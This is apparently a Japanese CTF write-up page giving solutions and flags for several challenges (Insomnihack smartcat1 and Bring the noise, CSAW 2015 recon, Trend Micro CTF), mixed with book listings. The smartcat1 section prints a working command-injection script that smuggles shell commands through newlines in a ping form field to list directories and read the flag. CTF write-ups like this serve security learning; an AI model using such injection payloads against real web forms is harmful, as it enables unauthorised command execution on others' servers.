CTF日本語サイト

Question 11

Go to ScoreBoard (Score 20)

---

If you aren't on the Score Board this question is for you! :D

#breakin

HTML5&CSS3標準デザイン講座 [単行本（ソフトカバー）]

草野 あけみ

翔泳社

2015-11-06

smartcat1 - Web - 50 pts - realized by grimmlin

Damn it, that stupid smart cat litter is broken again
Now only the debug interface is available here and this stupid thing only permits one ping to be sent!
I know my contract number is stored somewhere on that interface but I can't find it and this is the only available page! Please have a look and get this info for me !
FYI No need to bruteforce anything there. If you do you'll be banned permanently

import requests
from lxml import html
cookies={}

session_headers = {}

http_session = requests.Session()
http_session.headers.update(session_headers)

data = {'dest':'127.0.0.1>/dev/null\npwd\nls'}
resp = http_session.post("http://smartcat.insomnihack.ch/cgi-bin/index.cgi", data=data, cookies=cookies)

print(resp.text)

  <pre>/var/www/cgi-bin
index.cgi
there
</pre>

import requests
from lxml import html
cookies={}

session_headers = {}

http_session = requests.Session()
http_session.headers.update(session_headers)

data = {'dest':'127.0.0.1>/dev/null\npwd\nls\nHOME=/var/www/cgi-bin/there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the\ncd\npwd\nls\ncat<flag'}
resp = http_session.post("http://smartcat.insomnihack.ch/cgi-bin/index.cgi", data=data, cookies=cookies)

print(resp.text)

  <pre>/var/www/cgi-bin
index.cgi
there
/var/www/cgi-bin/there/is/your/flag/or/maybe/not/what/do/you/think/really/please
/tell/me/seriously/though/here/is/the
flag
INS{warm_kitty_smelly_kitty_flush_flush_flush}
</pre>

INS{warm_kitty_smelly_kitty_flush_flush_flush}

体系的に学ぶ 安全なWebアプリケーションの作り方　脆弱性が生まれる原理と対策の実践 [大型本]

徳丸 浩

ソフトバンククリエイティブ

2011-03-03

Bring the noise - Crypto - 200 pts - realized by veorq

Quantum computers won't help you

Source
Running on: bringthenoise.insomnihack.ch:1111

>nc.exe bringthenoise.insomnihack.ch 1111
Challenge = 19fee

aaaa
Wrong

        challenge = hexlify(os.urandom(1+POWLEN/2))[:POWLEN]
        put('Challenge = %s\n' % challenge)
        response = self.rfile.readline()[:-1]
        responsehash = hashlib.md5(response).hexdigest().strip()
        if responsehash[:POWLEN] != challenge:
            put('Wrong\n')
            return

import hashlib
POWLEN = 5
response = 0
challenge = '19fee'
while True:
    responsehash = hashlib.md5(str(response)).hexdigest().strip()
    if responsehash[:POWLEN] == challenge:
        print(str(response) + '\n')
        break
    response += 1

>aaa.py
2029864

def learn_with_vibrations():
    q, n, eqs = 8, 6, 40
    solution = [randint(q) for i in range(n)]
    equations = []
    for i in range(eqs):
        coefs = [randint(q) for i in range(n)]
        result = sum([solution[i]*coefs[i] for i in range(n)]) % q
        vibration = randint(3) - 1
        result = (result + q + vibration) % q
        equations.append('%s, %d' % (str(coefs)[1:-1], result))
    return equations, solution

        （中略）

        equations, solution = learn_with_vibrations()
        for equation in  equations:
            put(equation + '\n')

        put('Enter solution as "1, 2, 3, 4, 5, 6"\n')

        sol = self.rfile.readline().strip()
        if sol != str(solution)[1:-1]:
            put('Wrong\n')
            return

import struct
import os

def randint(bound):
    return struct.unpack('<L', os.urandom(4))[0] % bound

equations = [
"2, 2, 3, 2, 3, 4, 2",
"1, 0, 4, 6, 6, 4, 1",
"2, 1, 7, 6, 3, 0, 0",
"5, 6, 1, 4, 2, 1, 2",
"7, 6, 2, 0, 3, 4, 6",
"4, 7, 6, 7, 7, 4, 1",
"2, 5, 2, 7, 6, 4, 4",
"0, 6, 7, 6, 7, 4, 3",
"2, 2, 6, 2, 0, 4, 5",
"1, 4, 6, 7, 4, 3, 0",
"3, 7, 0, 3, 3, 6, 2",
"4, 3, 5, 6, 4, 3, 7",
"3, 5, 0, 1, 6, 0, 5",
"5, 6, 0, 3, 7, 3, 7",
"0, 6, 0, 0, 5, 4, 5",
"0, 1, 5, 2, 6, 4, 1",
"2, 6, 2, 5, 7, 5, 2",
"2, 2, 0, 1, 6, 6, 2",
"0, 4, 4, 4, 4, 6, 2",
"1, 0, 7, 3, 7, 5, 7",
"2, 4, 7, 6, 5, 4, 5",
"5, 7, 4, 7, 3, 4, 7",
"1, 3, 3, 5, 7, 4, 7",
"0, 0, 2, 4, 5, 3, 1",
"5, 2, 3, 5, 0, 0, 2",
"5, 4, 5, 7, 3, 1, 7",
"5, 7, 5, 2, 4, 5, 1",
"1, 3, 3, 4, 0, 2, 6",
"4, 7, 0, 2, 4, 5, 7",
"6, 1, 5, 5, 1, 6, 1",
"5, 0, 4, 4, 1, 6, 0",
"0, 2, 5, 4, 5, 4, 2",
"7, 1, 1, 1, 5, 2, 3",
"4, 6, 0, 2, 4, 5, 4",
"4, 0, 1, 1, 2, 0, 1",
"3, 7, 4, 5, 3, 6, 3",
"0, 7, 7, 5, 6, 7, 4",
"1, 2, 3, 2, 4, 5, 3",
"6, 1, 2, 3, 5, 2, 1",
"5, 1, 5, 0, 3, 7, 1"
]

while True:
    ok = 1
    ans = [randint(8) for i in range(6)]
    for i in range(40):
        equ = equations[i]
        coefs = equ.replace("L", "").split(",")
        result = int(coefs[6])
        del coefs[6]
        res = sum([ans[j]*int(coefs[j]) for j in range(6)]) % 8
        if not ((res + 8 + 1) % 8 == result or (res + 8) % 8 == result or (res + 8 - 1) % 8 == result):
            ok = 0
            break
    if ok == 1:
        print ans
        break

>bbb.py
[0L, 2L, 2, 5, 1, 7L]

>nc.exe bringthenoise.insomnihack.ch 1111
Challenge = 19fee
2029864
2, 2, 3, 2, 3, 4, 2
1, 0, 4, 6, 6, 4, 1
2, 1, 7, 6, 3, 0, 0
5, 6, 1, 4, 2, 1, 2
7, 6, 2, 0, 3, 4, 6
4, 7, 6, 7, 7, 4, 1
2, 5, 2, 7, 6, 4, 4
0, 6, 7, 6, 7, 4, 3
2, 2, 6, 2, 0, 4, 5
1, 4, 6, 7, 4, 3, 0
3, 7, 0, 3, 3, 6, 2
4, 3, 5, 6, 4, 3, 7
3, 5, 0, 1, 6, 0, 5
5, 6, 0, 3, 7, 3, 7
0, 6, 0, 0, 5, 4, 5
0, 1, 5, 2, 6, 4, 1
2, 6, 2, 5, 7, 5, 2
2, 2, 0, 1, 6, 6, 2
0, 4, 4, 4, 4, 6, 2
1, 0, 7, 3, 7, 5, 7
2, 4, 7, 6, 5, 4, 5
5, 7, 4, 7, 3, 4, 7
1, 3, 3, 5, 7, 4, 7
0, 0, 2, 4, 5, 3, 1
5, 2, 3, 5, 0, 0, 2
5, 4, 5, 7, 3, 1, 7
5, 7, 5, 2, 4, 5, 1
1, 3, 3, 4, 0, 2, 6
4, 7, 0, 2, 4, 5, 7
6, 1, 5, 5, 1, 6, 1
5, 0, 4, 4, 1, 6, 0
0, 2, 5, 4, 5, 4, 2
7, 1, 1, 1, 5, 2, 3
4, 6, 0, 2, 4, 5, 4
4, 0, 1, 1, 2, 0, 1
3, 7, 4, 5, 3, 6, 3
0, 7, 7, 5, 6, 7, 4
1, 2, 3, 2, 4, 5, 3
6, 1, 2, 3, 5, 2, 1
5, 1, 5, 0, 3, 7, 1
Enter solution as "1, 2, 3, 4, 5, 6"
0, 2, 2, 5, 1, 7
INS{ErrorsOccurMistakesAreMade}

INS{ErrorsOccurMistakesAreMade}

今度こそわかる量子コンピューター (今度こそわかるシリーズ) [単行本（ソフトカバー）]

西野 友年

講談社

2015-10-24

flag{f7da7636727524d8681ab0d2a072d663}

ツイッター創業物語 金と権力、友情、そして裏切り [単行本（ソフトカバー）]

ニック・ビルトン

日本経済新聞出版社

2014-04-24

We were able to grab an image of a harddrive. Find out what's on it.
flash_c8429a430278283c0e571baebca3d139.img

flag{b3l0w_th3_r4dar}

素人、旗を追う。: ぼやんりコピペプログラマがセキュリティ・コンテスト予選に参加した話 [Kindle版]

kidd

2014-08-23

http://fuzyll.com/csaw2015/start

CSAW 2015 FUZYLL RECON PART 1 OF ?: Oh, good, you can use HTTP! The next part is at /csaw2015/<the acronym for my university's hacking club>.

ゼミ・クラブ・サークル: President of the Whitehatters Computer Security Club, Member of the USF Honors College, Member of the Eta Kappa Nu Honor Society

CSAW 2015 FUZYLL RECON PART 2 OF ?: TmljZSB3b3JrISBUaGUgbmV4dCBwYXJ0IGlzIGF0IC9jc2F3MjAxNS88bXkgc3VwZXIgc21hc2ggYnJvdGhlcnMgbWFpbj4uCg==

Nice work! The next part is at /csaw2015/<my super smash brothers main>.

CSAW 2015 FUZYLL RECON PART 3 OF ?: Isn't Yoshi the best?! The next egg in your hunt can be found at /csaw2015/<the cryptosystem I had to break in my first defcon qualifier>.

CSAW 2015 FUZYLL RECON PART 4 OF 5: Okay, okay. This isn't Engima, but the next location was "encrypted" with the JavaScript below: Pla$ja|p$wpkt$kj$}kqv$uqawp$mw>$+gwes6451+pla}[waa[ia[vkhhmj

var s = "THIS IS THE INPUT"
var c = ""
for (i = 0; i < s.length; i++) {
    c += String.fromCharCode((s[i]).charCodeAt(0) ^ 0x4);
}
console.log(c);

The next stop on your quest is: /csaw2015/they_see_me_rollin

CSAW 2015 FUZYLL RECON PART 5 OF 5: Congratulations! Here's your flag{I_S3ARCH3D_HI6H_4ND_L0W_4ND_4LL_I_F0UND_W4S_TH1S_L0USY_FL4G}!

flag{I_S3ARCH3D_HI6H_4ND_L0W_4ND_4LL_I_F0UND_W4S_TH1S_L0USY_FL4G}

エニグマ・コード―史上最大の暗号戦 (INSIDE HISTORIES) [単行本]

ヒュー シーバッグ=モンティフィオーリ

中央公論新社

2007-12

Category: Programming
Points: 100

Click on the different color.
http://ctfquest.trendmicro.co.jp:43210/click_on_the_different_color

Please type in the flag in the 'TMCTF{<flag>}' format.

Please replace <flag> with the actual flag you would like to submit.
Example: If your flag is abc, then please type in TMCTF{abc}.

<canvas id='panel' width="390" height="390"></canvas>
<div id='answer'></div>
<script>
(function() {
    var src = 'ff3d5e6f48bee72d18d9ff04d3e5955199d2f8aa7684.png';
    var canvas = document.getElementById('panel');
    var pal = document.getElementById('answer');
    context = canvas.getContext('2d');

    var image = new Image();

    // 画像要素を生成します
    image.src = src;

    // 画像読み込み完了
    image.onload = function() {

        var RATIO = 51; // 画像の分割比
        canvas.width = image.width;
        canvas.height = image.height;
        // 画像をキャンバス上に表示します
        context.drawImage(image, 0, 0, image.width, image.height);
        var colorArray = context.getImageData(0, 0, canvas.width, canvas.height).data;
        var save_r = 0;
        var save_g = 0;
        var save_b = 0;
        var flag = 0;
        for ( var x = 0 ; x<canvas.width; x++) {
            for (var y = 0 ; y<canvas.height; y++) {
                if (colorArray[(((y * canvas.width) + x) * 4) + 0] == 255 && colorArray[(((y * canvas.width) + x) * 4) + 1] == 255 && colorArray[(((y * canvas.width) + x) * 4) + 0] == 255) {
                } else {
                    if (save_r == 0 && save_g == 0 && save_b == 0) {
                        save_r = colorArray[(((y * canvas.width) + x) * 4) + 0];
                        save_g = colorArray[(((y * canvas.width) + x) * 4) + 1];
                        save_b = colorArray[(((y * canvas.width) + x) * 4) + 2];
                    }
                    if (save_r == colorArray[(((y * canvas.width) + x) * 4) + 0] &&
                        save_g == colorArray[(((y * canvas.width) + x) * 4) + 1] &&
                        save_b == colorArray[(((y * canvas.width) + x) * 4) + 2]) {
                    } else {
                        pal.innerHTML = 'http://ctfquest.trendmicro.co.jp:43210/' + src.split('.')[0] + '?x=' + x + '&y=' + y;
                        flag = 1;
                        break;
                    }
                }
            }
            if (flag == 1) break;
        }
    };
})();
</script>

Congraturations!! The flag is TMCTF{U must have R0807 3Y3s!}

プログラミング HTML5 Canvas ―ウェブ・モバイル・ゲーム開発者のためのアプリケーション開発ガイド [大型本]

David Geary

オライリージャパン

2014-07-19

Category: Analysis-others
Points: 100

Please fix the PDF file for me.

Link
Please type in the flag in the 'TMCTF{<flag>}' format.

Please replace <flag> with the actual flag you would like to submit.
Example: If your flag is abc, then please type in TMCTF{abc}.

<< /Length 14 0 R /Type /XObject /Subtype /Image /Width 305 /Height 50 /ColorSpace
16 0 R /Intent /Perceptual /SMask 19 0 R /BitsPerComponent 8 /Filter /FlateDecode   
>>

<< /Length 14 0 R /Type /XObject /Subtype /Image /Width 1220 /Height 50 /ColorSpace
16 0 R /Intent /Perceptual /SMask 19 0 R /BitsPerComponent 8 /Filter /FlateDecode   
>>

TMCTF{There is always light behind the clouds.}

PDF構造解説 [単行本（ソフトカバー）]

John Whitington

オライリージャパン

2012-05-25